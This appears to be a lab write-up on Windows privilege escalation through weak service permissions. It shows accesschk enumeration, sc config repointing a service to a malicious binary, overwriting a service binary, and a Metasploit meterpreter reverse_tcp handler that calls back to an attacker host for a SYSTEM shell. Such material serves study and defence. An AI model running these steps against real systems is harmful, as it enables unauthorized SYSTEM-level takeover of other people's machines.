This quick lab covers two Windows service misconfigurations that allow an attacker to elevate their privileges:
- A low privileged user is allowed to change service configuration - for example change the service binary the service launches when it starts
- A low privileged user can overwrite the binary the service launches when it starts
Let's enumerate services with accesschk from SysInternals and look for SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG as these privileges allow attackers to modify service configuration:
{% code title="attacker@victim" %}
\\vboxsvr\tools\accesschk.exe /accepteula -ucv "mantvydas" evilsvc
or
\\vboxsvr\tools\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
{% endcode %}
Below indicates that the user mantvydas has full access to the service:
Let's modify the service and point its binary to our malicious binary that will get us a meterpreter shell when the service is launched:
{% code title="attacker@victim" %}
.\sc.exe config evilsvc binpath= "c:\program.exe"
{% endcode %}
Let's fire up a multihandler in mfsconsole:
{% code title="attacker@kali" %}
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
{% endcode %}
...and start the vulnerable service:
{% code title="attacker@victim" %}
.\sc.exe start evilsvc
{% endcode %}
..and enjoy the meterpreter session:
Note that the meterpreter session will die soon since the meterpreter binary program.exe that the vulnerable service VulnSvc kicked off, is not a compatible service binary. To save the session, migrate it to another sprocess:
{% code title="attacker@kali" %}
run post/windows/manage/migrate
{% endcode %}
Even though the service failed, the session was migrated and saved:
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From the first exercise, we know that our user has SERVICE_ALL_ACCESS for the service evilsvc. Let's check the service binary path:
{% code title="attacker@victim" %}
sc.exe qc evilsvc
{% endcode %}
Let's check file permissions of the binary c:\service.exe using a native windows tool icals and look for (M)odify or (F)ull permissions for Authenticated Users or the user you currently have a shell with:
{% code title="attacker@victim" %}
icacls C:\service.exe
{% endcode %}
Since c:\service.exe is (M)odifiable by any authenticated user, we can move our malicious binary c:\program.exe to c:\service.exe:
{% code title="attacker@victim" %}
cp C:\program.exe C:\service.exe
ls c:\
{% endcode %}
...and get the meterpreter shell once sc start evilsvc is executed. Note that the shell will die if we do not migrate the process same way as mentioned earlier:
Since services usually run under NT AUTHORITY\SYSTEM, our malicious binary gets executed with SYSTEM privileges:
